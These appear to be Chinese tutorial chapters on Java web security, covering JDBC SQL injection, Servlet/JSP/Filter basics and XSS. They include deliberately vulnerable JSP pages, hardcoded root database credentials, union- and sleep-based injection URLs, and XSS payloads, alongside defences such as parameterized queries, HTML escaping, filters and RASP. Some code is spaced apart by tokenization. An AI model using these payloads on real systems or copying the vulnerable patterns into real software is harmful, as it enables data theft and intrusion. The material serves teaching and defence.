    {"text": "sql-injection.jsp： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"java.sql.*\" % > < % @ page import = \"java.io.StringWriter\" % > < % @ page import = \"java.io.PrintWriter\" % > < style > table { border - collapse : collapse ; } th , td { border : 1 px solid # C1DAD7 ; font - size : 12 px ; padding : 6 px ; color : # 4 f6b72 ; } < / style > < % ! // 数据库驱动类名 public static final String CLASS_NAME = \"com.mysql.jdbc.Driver\" ; // 数据库链接字符串 public static final String URL = \"jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false\" ; // 数据库用户名 public static final String USERNAME = \"root\" ; // 数据库密码 public static final String PASSWORD = \"root\" ; Connection getConnection ( ) throws SQLException , ClassNotFoundException { Class . forName ( CLASS_NAME ) ; // 注册JDBC驱动类 return DriverManager . getConnection ( URL , USERNAME , PASSWORD ) ; } % > < % String user = request . getParameter ( \"user\" ) ; if ( user != null ) { Connection connection = null ; try { // 建立数据库连接 connection = getConnection ( ) ; // 定义最终执行的SQL语句，这里会将用户从请求中传入的host字符串拼接到最终的SQL // 语句当中，从而导致了SQL注入漏洞。 // String sql = \"select host,user from mysql.user where user = ? \"; String sql = \"select host,user from mysql.user where user = '\" + user + \"'\" ; out . println ( \"SQL:\" + sql ) ; out . println ( \"<hr/>\" ) ; // 创建预编译对象 PreparedStatement pstt = connection . prepareStatement ( sql ) ; // pstt.setObject(1, user); // 执行SQL语句并获取返回结果对象 ResultSet rs = pstt . executeQuery ( ) ; out . println ( \"<table><tr>\" ) ; out . println ( \"<th>主机</th>\" ) ; out . println ( \"<th>用户</th>\" ) ; out . println ( \"<tr/>\" ) ; // 输出SQL语句执行结果 while ( rs . next ( ) ) { out . println ( \"<tr>\" ) ; // 获取SQL语句中查询的字段值 out . println ( \"<td>\" + rs . getObject ( \"host\" ) + \"</td>\" ) ; out . println ( \"<td>\" + rs . getObject ( \"user\" ) + \"</td>\" ) ; out . println ( \"<tr/>\" ) ; } out . println ( \"</table>\" ) ; // 关闭查询结果 rs . close ( ) ; // 关闭预编译对象 pstt . close ( ) ; } catch ( Exception e ) { // 输出异常信息到浏览器 StringWriter sw = new StringWriter ( ) ; e . printStackTrace ( new PrintWriter ( sw ) ) ; out . println ( sw ) ; } finally { // 关闭数据库连接 connection . close ( ) ; } } % > 正常请求，查询用户名为 root 的用户信息测试: http://localhost:8080/sql-injection.jsp?user=root 提交含有 '(单引号) 的注入语句测试： http://localhost:8080/sql-injection.jsp?user=root ‘ 如果用户屏蔽了异常信息的显示我们就无法直接通过页面信息确认是否是注入，但是我们可以通过后端响应的状态码来确定是否是注入点，如果返回的状态码为 500 ，那么我们就可以初步的判定 user 参数存在注入了。 提交读取Mysql用户名和版本号注入语句测试： http://localhost:8080/sql-injection.jsp?user=root ‘ and 1=2 union select user(),version() –%20 这里使用了 -- (--空格，空格可以使用%20代替) 来注释掉SQL语句后面的 '(单引号) ，当然我们同样也可以使用 #(井号，URL传参的时候必须传URL编码后的值：%23) 注释掉 ' 。 整型注入 假设我们执行的SQL语句是： select id , username , email from sys_user where id = 用户 ID 查询结果如下: mysql > select id , username , email from sys_user where id = 1 ; + -- -- + -- -- -- -- -- + -- -- -- -- -- -- -- -- -- - + | id | username | email | + -- -- + -- -- -- -- -- + -- -- -- -- -- -- -- -- -- - + | 1 | yzmm | admin@javaweb . org | + -- -- + -- -- -- -- -- + -- -- -- -- -- -- -- -- -- - + 1 row in set ( 0.01 sec ) 假设程序预期用户输入一个数字类型的参数作为查询条件，且输入内容未经任何过滤直接就拼到了SQL语句当中，那么也就产生了一种名为 整型SQL注入 的漏洞。 对应的程序代码片段： // 获取用户传入的用户ID String id = request . getParameter ( \"id\" ) ; // 定义最终执行的SQL语句，这里会将用户从请求中传入的host字符串拼接到最终的SQL // 语句当中，从而导致了SQL注入漏洞。 String sql = \"select id, username, email from sys_user where id =\" + id ; // 创建预编译对象 PreparedStatement pstt = connection . prepareStatement ( sql ) ; // 执行SQL语句并获取返回结果对象 ResultSet rs = pstt . executeQuery ( ) ; 快速检测整型注入方式 整型注入相比字符型更容易检测，使用参数值添加 '(单引号) 的方式或者使用 运算符 、 数据库子查询 、 睡眠函数(一定慎用！"},
    {"text": "例如: id=sleep(3) 对应的SQL语句 select username from sys_user where id = sleep(3) 执行结果如下： mysql > select username from sys_user where id = sleep ( 3 ) ; Empty set ( 24.29 sec ) 为什么只是sleep了3秒钟最终变成了24秒？ 因为sleep语句执行了 select count(1) from sys_user 遍！"},
    {"text": "如果非要使用sleep的方式可以使用子查询的方式代替： id = 2 union select 1 , sleep ( 3 ) 查询结果如下： mysql > select username , email from sys_user where id = 1 union select 1 , sleep ( 3 ) ; + -- -- -- -- -- + -- -- -- -- -- -- -- -- -- - + | username | email | + -- -- -- -- -- + -- -- -- -- -- -- -- -- -- - + | yzmm | admin@javaweb . org | | 1 | 0 | + -- -- -- -- -- + -- -- -- -- -- -- -- -- -- - + 2 rows in set ( 3.06 sec ) SQL注入防御 既然我们学会了如何提交恶意的注入语句，那么我们到底应该如何去防御注入呢？"},
    {"text": "示例代码片段： // 获取用户传入的用户ID String id = request . getParameter ( \"id\" ) ; // 定义最终执行的SQL语句，这里会将用户从请求中传入的host字符串拼接到最终的SQL // 语句当中，从而导致了SQL注入漏洞。 String sql = \"select id, username, email from sys_user where id =? \" ; // 创建预编译对象 PreparedStatement pstt = connection . prepareStatement ( sql ) ; // 设置预编译查询的第一个参数值 pstt . setObject ( 1 , id ) ; // 执行SQL语句并获取返回结果对象 ResultSet rs = pstt . executeQuery ( ) ; 需要特别注意的是并不是使用 PreparedStatement 来执行SQL语句就没有注入漏洞，而是将用户传入部分使用 ?(问号) 占位符表示并使用 PreparedStatement 预编译SQL语句才能够防止注入！"},
    {"text": "JDBC预编译 可能很多人都会有一个疑问： JDBC 中使用 PreparedStatement 对象的 SQL语句 究竟是如何实现预编译的？ 接下来我们将会以Mysql驱动包为例，深入学习 JDBC 预编译实现。 JDBC 预编译查询分为客户端预编译和服务器端预编译，对应的URL配置项是: useServerPrepStmts ，当 useServerPrepStmts 为 false 时使用客户端(驱动包内完成SQL转义)预编译， useServerPrepStmts 为 true 时使用数据库服务器端预编译。 数据库服务器端预编译 JDBC URL配置示例: jdbc : mysql : / / localhost : 3306 / mysql ? autoReconnect = true & zeroDateTimeBehavior = round & useUnicode = true & characterEncoding = UTF - 8 & useOldAliasMetadataBehavior = true & useOldAliasMetadataBehavior = true & useSSL = false & useServerPrepStmts = true 代码片段: String sql = \"select host,user from mysql.user where user = ? \" ; PreparedStatement pstt = connection . prepareStatement ( sql ) ; pstt . setObject ( 1 , user ) ; 使用 JDBC 的 PreparedStatement 查询数据包如下： 客户端预编译 JDBC URL配置示例: jdbc : mysql : / / localhost : 3306 / mysql ? autoReconnect = true & zeroDateTimeBehavior = round & useUnicode = true & characterEncoding = UTF - 8 & useOldAliasMetadataBehavior = true & useOldAliasMetadataBehavior = true & useSSL = false & useServerPrepStmts = false 代码片段: String sql = \"select host,user from mysql.user where user = ? \" ; PreparedStatement pstt = connection . prepareStatement ( sql ) ; pstt . setObject ( 1 , user ) ; 使用 JDBC 的 PreparedStatement 查询数据包如下： 对应的Mysql客户端驱动包预编译代码在 com.mysql.jdbc.PreparedStatement 类的 setString 方法，如下： 预编译前的值为 root' ,预编译后的值为 'root\\'' ，和我们通过 WireShark 抓包的结果一致。 Mysql预编译 Mysql默认提供了预编译命令: prepare ,使用 prepare 命令可以在Mysql数据库服务端实现预编译查询。 prepare 查询示例： prepare stmt from 'select host,user from mysql.user where user = ?' ; set @username = 'root' ; execute stmt using @username ; 查询结果如下： mysql > prepare stmt from 'select host,user from mysql.user where user = ?' ; Query OK , 0 rows affected ( 0.00 sec ) Statement prepared mysql > set @username = 'root' ; Query OK , 0 rows affected ( 0.00 sec ) mysql > execute stmt using @username ; + -- -- -- -- -- - + -- -- -- + | host | user | + -- -- -- -- -- - + -- -- -- + | localhost | root | + -- -- -- -- -- - + -- -- -- + 1 row in set ( 0.00 sec ) JDBC SQL注入总结 本章节通过浅显的方式学习了 JDBC 中的 SQL注入 漏洞基础知识和防注入方式，希望大家能够从本章节中了解到SQL注入的本质，在后续章节也将讲解 ORM 中的SQL注入。"},
    {"text": "Java Web 基础 Java Web 基础 Java Web 基础 Java Web 基础 原文： https://www.wangan.com/docs/110 Java EE 指的是Java平台企业版（ Java Platform Enterprise Edition ），之前称为 Java 2 Platform, Enterprise Edition ( J2EE )，2017 年的 9 月Oracle将 Java EE 捐赠给 Eclipse 基金会，由于Oracle持有Java商标原因，Eclipse基金于2018年3月将 Java EE 更名为 Jakarta EE 。 Java EE版本 Java EE历史版本 ： Java SE/JDK版本 Java EE版本 Servlet版本 发布时间 / / Servlet 1.0 (1997年6月) JDK1.1 / Servlet 2.0 / / / Servlet 2.1 (1998年11月) JDK1.2 J2EE 1.2 Servlet 2.2 (1999年12月12日) JDK1.2 J2EE 1.3 Servlet 2.3 (2001年9月24日) JDK1.3 J2EE 1.4 Servlet 2.4 (2003年11月11日) JDK1.5 Java EE 5 Servlet 2.5 (2006年5月11日) JDK1.6 Java EE 6 Servlet 3.0 (2009年12月10日) / Java EE 7 Servlet 3.1 (2013年5月28日) / Java EE 8 Servlet 4.0 (2017年8月31日) / Jakarta EE8 Servlet 4.0 (2019年8月26日) 由上表可知 Java EE 并不是 Java SE 的一部分(JDK不自带)， Java EE 的版本也不完全是对应了JDK版本，我们通常最为关注的是 Java EE 对应的 Servlet 版本。不同的 Servlet 版本有着不一样的特性， Servlet容器 (如 GlassFish/Tomcat/Jboss )也会限制部署的 Servlet 版本。Java流行的 Spring MVC (基于Servlet机制实现)、 Struts2 (基于Filter机制实现)等Web框架也是基于不同的 Java EE 版本封装了各自的框架。 本文章首发在 网安wangan.com 网站上。 Servlet Servlet 原文： https://www.wangan.com/docs/111 Servlet 是在 Java Web 容器中运行的 小程序 ,通常我们用 Servlet 来处理一些较为复杂的服务器端的业务逻辑。 Servlet 是 Java EE 的核心,也是所有的MVC框架的实现的根本！ 基于Web.xml配置 Servlet3.0 之前的版本都需要在 web.xml 中配置 servlet标签 ， servlet标签 是由 servlet 和 servlet-mapping 标签组成的,两者之间通过在 servlet 和 servlet-mapping 标签中同样的 servlet-name 名称来实现关联的。 Servlet的定义 定义一个 Servlet 很简单，只需要继承 javax.servlet.http.HttpServlet 类并重写 doXXX (如 doGet、doPost )方法或者 service 方法就可以了，其中需要注意的是重写 HttpServlet 类的 service 方法可以获取到上述七种Http请求方法的请求。 javax.servlet.http.HttpServlet： 在写 Servlet 之前我们先了解下 HttpServlet , javax.servlet.http.HttpServlet 类继承于 javax.servlet.GenericServlet ，而 GenericServlet 又实现了 javax.servlet.Servlet 和 javax.servlet.ServletConfig 。 javax.servlet.Servlet 接口中只定义了 servlet 基础生命周期方法： init(初始化) 、 getServletConfig(配置) 、 service(服务) 、 destroy(销毁) ,而 HttpServlet 不仅实现了 servlet 的生命周期并通过封装 service 方法抽象出了 doGet/doPost/doDelete/doHead/doPut/doOptions/doTrace 方法用于处理来自客户端的不一样的请求方式，我们的Servlet只需要重写其中的请求方法或者重写 service 方法即可实现 servlet 请求处理。 javax.servlet.http.HttpServlet类: TestServlet示例代码: package com . anbai . sec . servlet ; import javax . servlet . http . HttpServlet ; import javax . servlet . http . HttpServletRequest ; import javax . servlet . http . HttpServletResponse ; import java . io . IOException ; import java . io . PrintWriter ; /** * Creator: yz * Date: 2019/12/14 */ // 如果使用注解方式请取消@WebServlet注释并注释掉web.xml中TestServlet相关配置 //@WebServlet(name = \"TestServlet\", urlPatterns = {\"/TestServlet\"}) public class TestServlet extends HttpServlet { @Override protected void doGet ( HttpServletRequest request , HttpServletResponse response ) throws IOException { doPost ( request , response ) ; } @Override protected void doPost ( HttpServletRequest request , HttpServletResponse response ) throws IOException { PrintWriter out = response . getWriter ( ) ; out . println ( \"Hello World~\" ) ; out . flush ( ) ; out . close ( ) ; } } 请求 TestServlet 示例: Servlet Web.xml配置 定义好了Servlet类以后我们需要在 web.xml 中配置servlet标签才能生效。 基于配置实现的Servlet： Servlet3.0+基于注解方式配置 基于注解的Servlet: 值得注意的是在 Servlet3.0 之后( Tomcat7+)可以使用注解方式配置 Servlet 了,在任意的Java类添加 javax.servlet.annotation.WebServlet 注解即可。 基于注解的方式配置Servlet实质上是对基于 web.xml 方式配置的简化，极大的简化了Servlet的配置方式，但是也提升了对Servlet配置管理的难度，因为我们不得不去查找所有包含了 @WebServlet 注解的类来寻找Servlet的定义，而不再只是查看 web.xml 中的 servlet 标签配置。 本文章首发在 网安wangan.com 网站上。"},
    {"text": "Request & Response Request & Response 原文： https://www.wangan.com/docs/112 在 B/S架构 中最重要的就是浏览器和服务器端交互， Java EE 将其封装为 请求 和 响应对象 ，即 request(HttpServletRequest) 和 response(HttpServletResponse) 。 HttpServletRequest 对象用于处理来自客户端的请求，当客户端通过HTTP协议访问服务器时，HTTP 中的所有信息都封装在这个对象中，通过 HttpServletRequest 对象可以获取到客户端请求的所有信息。 HttpServletResponse 对象用于响应客户端的请求，通过 HttpServletResponse 对象可以处理服务器端对客户端请求响应。 HttpServletRequest 常用方法 方法 说明 getParameter(String name) 获取请求中的参数，该参数是由name指定的 getParameterValues(String name) 返回请求中的参数值，该参数值是由name指定的 getRealPath(String path) 获取Web资源目录 getAttribute(String name) 返回name指定的属性值 getAttributeNames() 返回当前请求的所有属性的名字集合 getCookies() 返回客户端发送的Cookie getSession() 获取session回话对象 getInputStream() 获取请求主题的输入流 getReader() 获取请求主体的数据流 getMethod() 获取发送请求的方式，如GET、POST getParameterNames() 获取请求中所有参数的名称 getRemoteAddr() 获取客户端的IP地址 getRemoteHost() 获取客户端名称 getServerPath() 获取请求的文件的路径 HttpServletResponse 常用方法 方法 说明 getWriter() 获取响应打印流对象 getOutputStream() 获取响应流对象 addCookie(Cookie cookie) 将指定的Cookie加入到当前的响应中 addHeader(String name,String value) 将指定的名字和值加入到响应的头信息中 sendError(int sc) 使用指定状态码发送一个错误到客户端 sendRedirect(String location) 发送一个临时的响应到客户端 setDateHeader(String name,long date) 将给出的名字和日期设置响应的头部 setHeader(String name,String value) 将给出的名字和值设置响应的头部 setStatus(int sc) 给当前响应设置状态码 setContentType(String ContentType) 设置响应的MIME类型 本文章首发在 网安wangan.com 网站上。 JSP基础 JSP基础 原文： https://www.wangan.com/docs/113 JSP ( JavaServer Pages ) 是与 PHP 、 ASP 、 ASP.NET 等类似的脚本语言， JSP 是为了简化 Servlet 的处理流程而出现的替代品，早期的 Java EE 因为只能使用 Servlet 来处理客户端请求而显得非常的繁琐和不便，使用JSP可以快速的完成后端逻辑请求。 正因为在 JSP 中可以直接调用Java代码来实现后端逻辑的这一特性，黑客通常会编写带有恶意攻击的JSP文件(俗称 WebShell )来实现对服务器资源的恶意请求和控制。 现代的MVC框架(如： Spring MVC 5.x )已经完全抛弃了 JSP 技术，采用了 模板引擎(如：Freemark) 或者 RESTful 的方式来实现与客户端的交互工作,或许某一天 JSP 技术也将会随着产品研发的迭代而彻底消失。 JSP 三大指令 <%@ page ... %> 定义网页依赖属性，比如脚本语言、error页面、缓存需求等等 <%@ include ... %> 包含其他文件（静态包含） <%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %> 引入标签库的定义 JSP 表达式(EL) EL表达式 ( Expression Language )语言,常用于在jsp页面中获取请求中的值，如获取在Servlet中设置的 Attribute : ${名称} 。使用EL表达式可以实现命令执行，我们将会在后续EL表达式章节中详细讲解。 JSP 标准标签库(JSTL) JSP标准标签库（JSTL）是一个JSP标签集合，它封装了JSP应用的通用核心功能。 JSTL支持通用的、结构化的任务，比如迭代，条件判断，XML文档操作，国际化标签，SQL标签。 除了这些，它还提供了一个框架来使用集成JSTL的自定义标签。 JSP 九大对象 从本质上说 JSP 就是一个Servlet，JSP 引擎在调用 JSP 对应的 jspServlet 时，会传递或创建 9 个与 web 开发相关的对象供 jspServlet 使用。 JSP 技术的设计者为便于开发人员在编写 JSP 页面时获得这些 web 对象的引用，特意定义了 9 个相应的变量，开发人员在JSP页面中通过这些变量就可以快速获得这 9 大对象的引用。 如下： 变量名 类型 作用 pageContext PageContext 当前页面共享数据，还可以获取其他8个内置对象 request HttpServletRequest 客户端请求对象，包含了所有客户端请求信息 session HttpSession 请求会话 application ServletContext 全局对象，所有用户间共享数据 response HttpServletResponse 响应对象，主要用于服务器端设置响应信息 page Object 当前Servlet对象, this out JspWriter 输出对象，数据输出到页面上 config ServletConfig Servlet的配置对象 exception Throwable 异常对象 本文章首发在 网安wangan.com 网站上。 JSP、Servlet之间的关系 JSP、Servlet之间的关系 原文： https://www.wangan.com/docs/114 JSP、JSPX 文件是可以直接被 Java 容器直接解析的动态脚本， jsp 和其他脚本语言无异，不但可以用于页面数据展示，也可以用来处理后端业务逻辑。 从本质上说 JSP 就是一个 Servlet ，因为 jsp 文件最终会被编译成 class 文件，而这个 class 文件实际上就是一个特殊的 Servlet 。 JSP文件会被编译成一个java类文件，如 index.jsp 在Tomcat中 Jasper 编译后会生成 index_jsp.java 和 index_jsp.class 两个文件。而 index_jsp.java 继承于 HttpJspBase 类， HttpJspBase 是一个实现了 HttpJspPage 接口并继承了 HttpServlet 的标准的 Servlet ， __jspService 方法其实是 HttpJspPage 接口方法，类似于 Servlet 中的 service 方法，这里的 __jspService 方法其实就是 HttpJspBase 的 service 方法调用。 本文章首发在 网安wangan.com 网站上。"},
    {"text": "Filter Filter 原文： https://www.wangan.com/docs/115 javax.servlet.Filter 是 Servlet2.3 新增的一个特性,主要用于过滤URL请求，通过Filter我们可以实现URL请求资源权限验证、用户登陆检测等功能。 Filter是一个接口，实现一个Filter只需要重写 init 、 doFilter 、 destroy 方法即可，其中过滤逻辑都在 doFilter 方法中实现。 Filter 的配置类似于 Servlet ，由 <filter> 和 <filter-mapping> 两组标签组成，如果Servlet版本大于3.0同样可以使用注解的方式配置Filter。 基于注解实现的Filter示例: 本文章首发在 网安wangan.com 网站上。 Filter和Servlet的总结 Filter和Servlet的总结 原文： https://www.wangan.com/docs/116 对于基于 Filter 和 Servlet 实现的简单架构项目，代码审计的重心集中于找出所有的 Filter 分析其过滤规则，找出是否有做全局的安全过滤、敏感的URL地址是否有做权限校验并尝试绕过 Filter 过滤。第二点则是找出所有的 Servlet ，分析 Servlet 的业务是否存在安全问题,如果存在安全问题是否可以利用？是否有权限访问？利用时是否被Filter过滤等问题，切勿看到 Servlet 、 JSP 中的漏洞点就妄下定论，不要忘了 Servlet 前面很有可能存在一个全局安全过滤的 Filter 。 Filter 和 Servlet 都是 Java Web 提供的API，简单的总结了下有如下共同点。 Filter 和 Servlet 都需要在 web.xml 或 注解 ( @WebFilter 、 @WebServlet )中配置，而且配置方式是非常的相似的。 Filter 和 Servlet 都可以处理来自Http请求的请求，两者都有 request 、 response 对象。 Filter 和 Servlet 基础概念不一样， Servlet 定义是容器端小程序，用于直接处理后端业务逻辑，而 Filter 的思想则是实现对Java Web请求资源的拦截过滤。 Filter 和 Servlet 虽然概念上不太一样，但都可以处理Http请求，都可以用来实现MVC控制器( Struts2 和 Spring 框架分别基于 Filter 和 Servlet 技术实现的)。 一般来说 Filter 通常配置在 MVC 、 Servlet 和 JSP 请求前面，常用于后端权限控制、统一的Http请求参数过滤( 统一的XSS 、 SQL注入 、 Struts2命令执行 等攻击检测处理)处理，其核心主要体现在请求过滤上，而 Servlet 更多的是用来处理后端业务请求上。 本文章首发在 网安wangan.com 网站上。 Cookie 和 Session 对象 Cookie 和 Session 对象 原文： https://www.wangan.com/docs/2003 Cookie 和 Session 对象 Cookie 是最常用的Http会话跟踪机制，且所有 Servlet容器 都应该支持。当客户端不接受 Cookie 时，服务端可使用 URL重写 的方式作为会话跟踪方式。会话 ID 必须被编码为URL字符串中的一个路径参数，参数的名字必须是 jsessionid 。 浏览器和服务端创建会话( Session )后，服务端将生成一个唯一的会话ID( sessionid )用于标识用户身份，然后会将这个会话ID通过 Cookie 的形式返回给浏览器，浏览器接受到 Cookie 后会在每次请求后端服务的时候带上服务端设置 Cookie 值，服务端通过读取浏览器的 Cookie 信息就可以获取到用于标识用户身份的会话ID，从而实现会话跟踪和用户身份识别。 因为 Cookie 中存储了用户身份信息，并且还存储于浏览器端，攻击者可以使用 XSS 漏洞获取到 Cookie 信息并盗取用户身份就行一些恶意的操作。 本文章首发在 网安wangan.com 网站上。"},
    {"text": "XSS XSS 原文： https://www.wangan.com/docs/117 攻击者利用XSS(Cross-site scripting)漏洞攻击可以在用户的浏览器中执行JS恶意脚本，XSS攻击可以实现用户会话劫持、钓鱼攻击、恶意重定向、点击劫持、挂马、XSS蠕虫等，XSS攻击类型分为：反射型、存储型、DOM型。 反射型XSS攻击 示例 - 存在反射型XSS的xss.jsp代码： < %= request . getParameter ( \"input\" ) % > 攻击者通过传入恶意的 input 参数值可以在用户浏览器中注入一段 JavaScript 脚本。 示例 - 注入XSS代码： < script > alert ( 'xss' ) ; < / script > 浏览器请求： http://localhost:8000/modules/servlet/xss.jsp?input=%3Cscript%3Ealert(%27xss%27)%3B%3C/script%3E 存储型XSS攻击 示例 - 存在存储型XSS的guestbook.jsp代码： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"java.text.SimpleDateFormat\" % > < % @ page import = \"java.util.*\" % > < % String username = request . getParameter ( \"username\" ) ; String content = request . getParameter ( \"content\" ) ; String guestBookKey = \"GUEST_BOOK\" ; List < Map < String , String >> comments = new ArrayList < Map < String , String >> ( ) ; if ( content != null ) { Object obj = application . getAttribute ( guestBookKey ) ; if ( obj != null ) { comments = ( List < Map < String , String >> ) obj ; } Map < String , String > comment = new HashMap < String , String > ( ) ; String ip = request . getHeader ( \"x-real-ip\" ) ; if ( ip == null ) { ip = request . getRemoteAddr ( ) ; } comment . put ( \"username\" , username ) ; comment . put ( \"content\" , content ) ; comment . put ( \"ip\" , ip ) ; comment . put ( \"date\" , new SimpleDateFormat ( \"yyyy-MM-dd HH:mm:ss\" ) . format ( new Date ( ) ) ) ; comments . add ( comment ) ; application . setAttribute ( guestBookKey , comments ) ; } % > < html > < head > < title > 留言板 < / title > < / head > < style > * { margin : 0 ; padding : 0 ; } < / style > < body > < div style = \"border: 1px solid #C6C6C6;\" > < div style = \"text-align: center;\" > < h2 > 在线留言板 < / h2 > < / div > < div > < dl > < % Object obj = application . getAttribute ( guestBookKey ) ; if ( obj instanceof List ) { comments = ( List < Map < String , String >> ) obj ; for ( Map < String , String > comment : comments ) { % > < dd > < div style = \"min-height: 50px; margin: 20px; border-bottom: 1px solid #9F9F9F;\" > < p > < B > < %= comment . get ( \"username\" ) % > < / B > [ < %= comment . get ( \"ip\" ) % > ] 于 < %= comment . get ( \"date\" ) % > 发表回复： < / p > < p style = \"margin: 15px 0 5px 0; font-size: 12px;\" > < pre > < %= comment . get ( \"content\" ) % > < / pre > < / p > < / div > < / dd > < % } } % > < / dl > < / div > < div style = \"background-color: #fff; border: 1px solid #C6C6C6;\" > < form action = \"#\" method = \"POST\" style = \"margin: 20px;\" > 昵称 : < input type = \"text\" name = \"username\" style = \"width:250px; height: 28px;\" / > < br / > < br / > < textarea name = \"content\" style = \"overflow: auto;width: 100%; height: 250px;\" > < / textarea > < input type = \"submit\" value = \"提交留言\" style = \"margin-top: 20px; width: 80px; height: 30px;\" / > < / form > < / div > < / div > < / body > < / html > 访问： http://10.10.99.2:8000/modules/servlet/guestbook.jsp ，并在留言内容出填入xss测试代码，如下： 提交留言后页面会刷新，并执行留言的xss代码： DOM XSS 示例 - dom.jsp代码： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > Date : < span style = \"color: red;\" > < / span > < input type = \"hidden\" value = \"<%=request.getParameter(\" date \")%>\" / > < script > var date = document . getElementsByTagName ( \"input\" ) [ 0 ] . value ; document . getElementsByTagName ( \"span\" ) [ 0 ] . innerHTML = date ; < / script > 正常请求测试： http://localhost:8000/modules/servlet/dom.jsp?date=2020-11-15%2015:57:22 XSS攻击测试： http://localhost:8000/modules/servlet/dom.jsp?date=%3Cimg%20src=1%20onerror=alert(/xss/)%20/%3E XSS防御 XSS最为常见的处理方式是转义特殊字符，后端程序在接受任何用户输入的参数时都应当优先考虑是否会存在XSS攻击。 htmlspecialchars 在PHP中通常会使用 htmlspecialchars 函数会将一些可能有攻击威胁的字符串转义为html实体编码，这样可以有效的避免XSS攻击。 示例 - htmlspecialchars 转义： 字符 替换后 & (& 符号) &amp; \" (双引号) &quot; ' (单引号) &#039; 或者 &apos; < (小于) &lt; > (大于) &gt; 在Java中虽然没有内置如此简单方便的函数，但是我们可以通过字符串替换的方式实现类似 htmlspecialchars 函数的功能。"},
    {"text": "/** * 实现htmlSpecialChars函数把一些预定义的字符转换为HTML实体编码 * * @param content 输入的字符串内容 * @return HTML实体化转义后的字符串 */ public static String htmlSpecialChars ( String content ) { if ( content == null ) { return null ; } char [ ] charArray = content . toCharArray ( ) ; StringBuilder sb = new StringBuilder ( ) ; for ( char c : charArray ) { switch ( c ) { case '&' : sb . append ( \"&amp;\" ) ; break ; case '\"' : sb . append ( \"&quot;\" ) ; break ; case '\\'' : sb . append ( \"&#039;\" ) ; break ; case '<' : sb . append ( \"&lt;\" ) ; break ; case '>' : sb . append ( \"&gt;\" ) ; break ; default : sb . append ( c ) ; break ; } } return sb . toString ( ) ; } 在存储或者输出请求参数的时候使用该方法过滤即可实现XSS防御。 全局的XSSFilter package com . anbai . sec . vuls . filter ; import javax . servlet . * ; import javax . servlet . http . HttpServletRequest ; import javax . servlet . http . HttpServletRequestWrapper ; import java . io . IOException ; public class XSSFilter implements Filter { @Override public void init ( FilterConfig filterConfig ) { } @Override public void doFilter ( ServletRequest req , ServletResponse resp , FilterChain chain ) throws IOException , ServletException { HttpServletRequest request = ( HttpServletRequest ) req ; // 创建HttpServletRequestWrapper，包装原HttpServletRequest对象，示例程序只重写了getParameter方法， // 应当考虑如何过滤：getParameter、getParameterValues、getParameterMap、getInputStream、getReader HttpServletRequestWrapper requestWrapper = new HttpServletRequestWrapper ( request ) { public String getParameter ( String name ) { // 获取参数值 String value = super . getParameter ( name ) ; // 简单转义参数值中的特殊字符 return value . replace ( \"&\" , \"&amp;\" ) . replace ( \"<\" , \"&lt;\" ) . replace ( \"'\" , \"&#039;\" ) ; } } ; chain . doFilter ( requestWrapper , resp ) ; } @Override public void destroy ( ) { } } web.xml添加XSSFilter过滤器： < ! -- XSS 过滤器 -- > < filter > < filter - name > XSSFilter < / filter - name > < filter - class > com . anbai . sec . vuls . filter . XSSFilter < / filter - class > < / filter > < filter - mapping > < filter - name > XSSFilter < / filter - name > < url - pattern > /*</url-pattern> </filter-mapping> 请求XSS示例程序： http://localhost:8000/modules/servlet/xss.jsp?input=%3Cscript%3Ealert(%27xss%27);%3C/script%3E 经过全局过滤器转义后的参数就不会再带有XSS攻击能力了。 RASP XSS攻击防御 RASP可以实现类似于全局XSSFilter的请求参数过滤功能，比较稳定的一种方式是Hook到 javax.servlet.ServletRequest 接口的实现类的 getParameter/getParameterValues/getParameterMap 等核心方法，在该方法return之后插入RASP的检测代码。"},
    {"text": "示例 - RASP对getParameter返回值Hook示例： 反射型的XSS防御相对来说比较简单，直接禁止GET参数中出现 <> 标签，只要出现就理解拦截，如： http : / / localhost : 8000 / modules / servlet / xss . jsp ? input = < script > alert ( 'xss' ) ; < / script > 过滤或拦截掉 <> 后 input 参数就不再具有攻击性了。"},
    {"text": "但是POST请求的XSS参数就没有那么容易过滤了，为了兼顾业务，不能简单的使用 htmlSpecialChars 的方式直接转义特殊字符，因为很多时候应用程序是必须支持HTML标签的（如： <img>、<h1> 等）。"},
    {"text": "为了支持一些常用的HTML标签和HTML标签属性，RASP可以通过词法解析的方式，将传入的字符串参数值解析成HTML片段，然后分析其中的标签和属性是否合法即可。 RASP XSS防御能力测试 恶意的HTML标签属性XSS测试 示例 - 提交带有XSS攻击的Payload： < img src = '1.jpg' width = '10px' height = '10px' onerror = 'alert(/xss/);' / > 请求示例地址： http://localhost:8000/modules/servlet/guestbook.jsp ，并填写XSS攻击代码，如下图： RASP能够正确识别并拦截XSS攻击： XSS富文本检测测试 RASP如果要实现精确的XSS检测能力就必须能够正确的识别出用户传入的数据到底是否合法，经过HTML词法分析后RASP能够正确认识用户传入的参数值是否是包含了恶意的HTML标签或者属性。 示例 - 用户在留言板中带图片回复： 示例 - 用户在留言板中回复被注释的HTML片段： 经测试，RASP对XSS攻击防御能力正常，能够识别合法的HTML和javascript代码（DOM类XSS占不支持）。"},
